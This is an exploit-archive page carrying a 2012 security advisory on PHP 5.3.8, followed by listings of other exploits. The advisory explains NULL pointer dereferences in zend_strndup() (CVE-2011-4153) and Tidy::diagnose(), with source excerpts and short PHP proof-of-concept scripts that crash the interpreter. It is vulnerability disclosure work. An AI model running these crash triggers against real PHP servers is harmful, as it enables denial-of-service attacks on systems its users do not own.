Menu

Search for hundreds of thousands of exploits

"PHP 5.3.8 - Multiple Vulnerabilities"

Author

Exploit author

"Maksymilian Arciemowicz"

Platform

Exploit platform

multiple

Release date

Exploit published date

2012-01-14

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[ PHP 5.3.8 Multiple vulnerabilities ]

Author: Maksymilian Arciemowicz
Website: http://cxsecurity.com/
Date: 14.01.2012

CVE:
CVE-2011-4153 (zend_strndup)

Original link:
http://cxsecurity.com/research/103


[--- 1. Multiple NULL Pointer Dereference with zend_strndup()
[CVE-2011-4153] ---]
As we can see in zend_strndup()

- -zend_alloca.c---
ZEND_API char *zend_strndup(const char *s, uint length)
{
	char *p;

	p = (char *) malloc(length+1);
	if (UNEXPECTED(p == NULL)) {
		return p; <=== RETURN NULL
	}
	if (length) {
		memcpy(p, s, length);
	}
	p[length] = 0;
	return p;
}
- -zend_alloca.c---

zend_strndup() may return NULL

in php code, many calls to zend_strndup() dosen't checks returned
values. In result, places like:

- -zend_builtin_functions.c---
ZEND_FUNCTION(define)
{
	char *name;
	int name_len;
	zval *val;
	zval *val_free = NULL;
	zend_bool non_cs = 0;
	int case_sensitive = CONST_CS;
	zend_constant c;

	if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sz|b", &name,
&name_len, &val, &non_cs) == FAILURE) {
		return;
	}
...
	c.flags = case_sensitive; /* non persistent */
	c.name = zend_strndup(name, name_len); <======== MAY RETURN NULL
	c.name_len = name_len+1;
	c.module_number = PHP_USER_CONSTANT;
	if (zend_register_constant(&c TSRMLS_CC) == SUCCESS) {
		RETURN_TRUE;
	} else {
		RETURN_FALSE;
	}
}
- -zend_builtin_functions.c---

- -PoC code---
[cx@82 /www]$ ulimit -a
socket buffer size       (bytes, -b) unlimited
core file size          (blocks, -c) unlimited
data seg size           (kbytes, -d) 524288
file size               (blocks, -f) unlimited
max locked memory       (kbytes, -l) unlimited
max memory size         (kbytes, -m) 40000
open files                      (-n) 11095
pipe size            (512 bytes, -p) 1
stack size              (kbytes, -s) 65536
cpu time               (seconds, -t) unlimited
max user processes              (-u) 5547
virtual memory          (kbytes, -v) 40000
swap size               (kbytes, -w) unlimited
[cx@82 /www]$ cat define.php
<?php
define(str_repeat("A",$argv[1]),"a");
?>
- -PoC code---

to see difference

[cx@82 /www]$ php define.php 8999999
Out of memory
[cx@82 /www]$ php define.php 9999999
Segmentation fault: 11

(gdb) bt
#0  0x28745eb0 in strrchr () from /lib/libc.so.7
#1  0x0822d538 in zend_register_constant (c=0xbfbfcfb0)
    at /usr/ports/lang/php5/work/php/Zend/zend_constants.c:429
#2  0x08251e0e in zif_define (ht=2, return_value=0x28825a98,
    return_value_ptr=0x0, this_ptr=0x0, return_value_used=0)
    at /usr/ports/lang/php5/work/php/Zend/zend_builtin_functions.c:688
#3  0x0826dba6 in zend_do_fcall_common_helper_SPEC
(execute_data=0x29401040)
    at zend_vm_execute.h:316


There are others places, where zend_strndup() is used:

- -1--
ext/soap/php_sdl.c
			if (sdl->is_persistent) {
				new_enc->details.ns = zend_strndup(ns, ns_len);
				new_enc->details.type_str = strdup(new_enc->details.type_str);
			} else {
				new_enc->details.ns = estrndup(ns, ns_len);
				new_enc->details.type_str = estrdup(new_enc->details.type_str);
			}
- -1--

- -2--
ext/standard/syslog.c
	BG(syslog_device) = zend_strndup(ident, ident_len);
	openlog(BG(syslog_device), option, facility);
	RETURN_TRUE;
- -2--

- -3--
ext/standard/browscap.c
				} else { /* Other than true/false setting */
					Z_STRVAL_P(new_property) = zend_strndup(Z_STRVAL_P(arg2),
Z_STRLEN_P(arg2));
					Z_STRLEN_P(new_property) = Z_STRLEN_P(arg2);
				}
				new_key = zend_strndup(Z_STRVAL_P(arg1), Z_STRLEN_P(arg1));
				zend_str_tolower(new_key, Z_STRLEN_P(arg1));
				zend_hash_update(Z_ARRVAL_P(current_section), new_key,
Z_STRLEN_P(arg1) + 1, &new_property, sizeof(zval *), NULL);
				free(new_key);
- -3--

- -4--
ext/oci8/oci8.c
		if (alloc_non_persistent) {
			connection = (php_oci_connection *) ecalloc(1,
sizeof(php_oci_connection));
			connection->hash_key = estrndup(hashed_details.c, hashed_details.len);
			connection->is_persistent = 0;
		} else {
			connection = (php_oci_connection *) calloc(1,
sizeof(php_oci_connection));
			connection->hash_key = zend_strndup(hashed_details.c,
hashed_details.len);
			connection->is_persistent = 1;
		}
- -4--

- -5--
ext/com_dotnet/com_typeinfo.c
				const_name = php_com_olestring_to_string(bstr_ids, &c.name_len,
codepage TSRMLS_CC);
				c.name = zend_strndup(const_name, c.name_len);
				efree(const_name);
				c.name_len++; /* include NUL */
				SysFreeString(bstr_ids);

				/* sanity check for the case where the constant is already defined */
				if (zend_get_constant(c.name, c.name_len - 1, &exists TSRMLS_CC)) {
					if (COMG(autoreg_verbose) && !compare_function(&results,
&c.value, &exists TSRMLS_CC)) {
						php_error_docref(NULL TSRMLS_CC, E_WARNING, "Type library
constant %s is already defined", c.name);
					}
					free(c.name);
					ITypeInfo_ReleaseVarDesc(TypeInfo, pVarDesc);
					continue;
				}
- -5--

- -6--
main/php_open_temporary_file.c
	/* On Unix use the (usual) TMPDIR environment variable. */
	{
		char* s = getenv("TMPDIR");
		if (s && *s) {
			int len = strlen(s);

			if (s[len - 1] == DEFAULT_SLASH) {
				temporary_directory = zend_strndup(s, len - 1);
			} else {
				temporary_directory = zend_strndup(s, len);
			}

			return temporary_directory;
		}
- -6--


[--- 2. Tidy::diagnose() NULL pointer dereference ---]
Class tidy, may provide to null pointer dereference using tidy lib.

1287 	static PHP_FUNCTION(tidy_diagnose)
1288 	{
1289 	TIDY_FETCH_OBJECT;
1290 	
1291 	if (tidyRunDiagnostics(obj->ptdoc->doc) >= 0) {
1292 	tidy_doc_update_properties(obj TSRMLS_CC);
1293 	RETURN_TRUE;
1294 	}
1295 	
1296 	RETURN_FALSE;
1297 	}

- -PoC---
(gdb) r -r '$nx=new Tidy("*");$nx->diagnose();'
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /usr/bin/php -r '$nx=new Tidy("*");$nx->diagnose();'
[Thread debugging using libthread_db enabled]
PHP Warning:  tidy::__construct(): Cannot Load '*' into memory  in
Command line code on line 1

Program received signal SIGSEGV, Segmentation fault.
0x00007fffedfaff87 in prvTidyReportMarkupVersion ()
   from /usr/lib/libtidy-0.99.so.0
- -PoC---

- -Result---
cx@cx64:~$ php -r '$nx=new Tidy("*");$nx->diagnose();'
PHP Warning:  tidy::__construct(): Cannot Load '*' into memory  in
Command line code on line 1
Segmentation fault
- -Result---

I do not consider this vulnerability as a having security impact other
as DoS.

[--- 3. Contact ---]
Author: Maksymilian Arciemowicz
Email: max {AA\TT cxsecurity |D|0|T] com
http://cxsecurity.com/

GPG:
http://cxsecurity.com/office.cxsecurity.txt


- -- 
Best Regards
Maksymilian Arciemowicz (CXSecurity.com)
pub   4096R/D6E5B530 2010-09-19
uid                  Maksymilian Arciemowicz (cx) <max@cxib.net>
sub   4096R/58BA663C 2010-09-19
-----BEGIN PGP SIGNATURE-----

iQIcBAEBAgAGBQJPEWEaAAoJEIO8+dzW5bUwiQIP+wW7gqAMB3FtONREDS9rUa83
VTJpMzCNdZw5cy7qIwivC4usdRUbidFy8Bqt/TA/3x8nWVm3Wx//5DPyFWb/RNZh
swSS7+9f6XJA4tEF/eTn6lCEG4xp2wLxHgxqIqmWR09gkOifhKHVEEXlO5qsQxhx
T5hEYqbvXEknzlUS/HC9C6sZsZK0EbdPjxDqe1qE+P3GyHecfoVb3s7WQw0IitZT
l47by1UbJ2iGj5q4EExLyj2FxomIw46LFdFtePHOI6EZcq/MODnyCGNkzVpS4tyK
SNIxiSp7nM1n08a6kQ1pZrMyTUO/LATojJ6qf79bJApyhK1ggs4WF+E73wItiFt0
ordQeqWy2hTLyv+UlbsoFErSgASgw5MIw3ygZXNZsdQWEMj+UCUTrsro7k/zB6Uy
3r4ccmyf1Vd+kLx12SAR/uxHIlqQVskQDi2k45CPHQVAYGKdax24ksVlfgQ2K/dY
2SCj9gEDAOKqtNLxyFyEStraeb330TrxbGaI25gjiDVf7nYgPowqdaM1gI862MoR
vP4vbFFY9ldwTBsLz9DNMVObsNWsoz2BlQ6olCgUPqkvce9RyI6rp+QwyIXQLcVr
jUGMXhpmDrNR2oyA4ufsZ4u5W8KUIK3t26v8649k3LSzmRpmK1TSTNqdHwm9WfMa
0qg+Bq1hSEVfTOuqOY7x
=IDq3
-----END PGP SIGNATURE-----
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "Expense Management System - 'description' Stored Cross Site Scripting" webapps multiple "Nikhil Kumar"
2020-12-02 "Bakeshop Online Ordering System 1.0 - 'Owner' Persistent Cross-site scripting" webapps multiple "Parshwa Bhavsar"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "ILIAS Learning Management System 4.3 - SSRF" webapps multiple Dot
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "Under Construction Page with CPanel 1.0 - SQL injection" webapps multiple "Mayur Parmar"
Release Date Title Type Platform Author
2016-12-12 "iOS 10.1.x - Certificate File Memory Corruption" dos ios "Maksymilian Arciemowicz"
2015-12-09 "Apple Mac OSX 10.11 - FTS Deep Structure of the FileSystem Buffer Overflow" dos osx "Maksymilian Arciemowicz"
2014-04-08 "Apple Mac OSX 10.9 - Hard Link Memory Corruption" dos osx "Maksymilian Arciemowicz"
2013-02-05 "FreeBSD 9.1 - 'ftpd' Remote Denial of Service" dos freebsd "Maksymilian Arciemowicz"
2012-01-14 "PHP 5.3.8 - Multiple Vulnerabilities" dos multiple "Maksymilian Arciemowicz"
2011-11-04 "Libc - 'regcomp()' Stack Exhaustion Denial of Service" dos multiple "Maksymilian Arciemowicz"
2011-08-19 "PHP < 5.3.7 - Multiple Null Pointer Dereference Denial of Service Vulnerabilities" dos php "Maksymilian Arciemowicz"
2011-07-01 "NetBSD 5.1 - 'libc/net' Multiple Stack Buffer Overflows" remote bsd "Maksymilian Arciemowicz"
2011-05-12 "Apache 1.4/2.2.x - APR 'apr_fnmatch()' Denial of Service" dos linux "Maksymilian Arciemowicz"
2011-03-18 "PHP 5.3.5 libzip 0.9.3 - _zip_name_locate Null Pointer Dereference" dos linux "Maksymilian Arciemowicz"
2011-03-02 "vsftpd 2.3.2 - Denial of Service" dos linux "Maksymilian Arciemowicz"
2011-02-17 "PHP 5.3.5 - 'grapheme_extract()' Null Pointer Dereference Denial of Service" dos php "Maksymilian Arciemowicz"
2011-02-17 "PHP 5.3.5 - 'grapheme_extract()' Null Pointer Dereference" dos linux "Maksymilian Arciemowicz"
2011-01-07 "GNU libc/regcomp(3) - Multiple Vulnerabilities" dos linux "Maksymilian Arciemowicz"
2010-12-10 "PHP 5.3.3 - NumberFormatter::getSymbol Integer Overflow" dos multiple "Maksymilian Arciemowicz"
2010-12-07 "GNU glibc - 'regcomp()' Stack Exhaustion Denial of Service" dos linux "Maksymilian Arciemowicz"
2010-11-05 "PHP 5.3.3/5.2.14 - ZipArchive::getArchiveComment Null Pointer Dereference" dos php "Maksymilian Arciemowicz"
2010-10-07 "libc/glob(3) - Resource Exhaustion / Remote ftpd-anonymous (Denial of Service)" dos multiple "Maksymilian Arciemowicz"
2010-09-08 "FreeBSD 8.1/7.3 - 'vm.pmap' Local Race Condition" dos bsd "Maksymilian Arciemowicz"
2010-05-27 "FreeBSD 8.0 - 'ftpd' (FreeBSD-SA-10:05) Off-By-One (PoC)" dos freebsd "Maksymilian Arciemowicz"
2010-05-21 "Sun Solaris 10 - 'in.ftpd' Long Command Handling Security" dos solaris "Maksymilian Arciemowicz"
2010-05-21 "Sun Solaris 10 - Nested Directory Tree Local Denial of Service" dos solaris "Maksymilian Arciemowicz"
2010-04-24 "Apple Mac OSX 10.6 - HFS FileSystem (Denial of Service)" dos osx "Maksymilian Arciemowicz"
2010-01-08 "Apple Mac OSX 10.x - 'libc/strtod(3)' Memory Corruption" dos osx "Maksymilian Arciemowicz"
2010-01-08 "MATLAB R2009b - 'dtoa' Implementation Memory Corruption" dos linux "Maksymilian Arciemowicz"
2009-12-19 "PHP 5.2.12/5.3.1 - 'symlink()' open_basedir Bypass" local php "Maksymilian Arciemowicz"
2009-12-03 "PHP 5.2.10/5.3.0 - 'ini_restore()' Memory Information Disclosure" local php "Maksymilian Arciemowicz"
2009-11-20 "KDE 4.3.3 - KDELibs 'dtoa()' Remote Code Execution" remote linux "Maksymilian Arciemowicz"
2009-11-20 "Opera Web Browser 10.01 - 'dtoa()' Remote Code Execution" remote multiple "Maksymilian Arciemowicz"
2009-11-13 "PHP 5.2.11/5.3.0 - Multiple Vulnerabilities" remote php "Maksymilian Arciemowicz"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.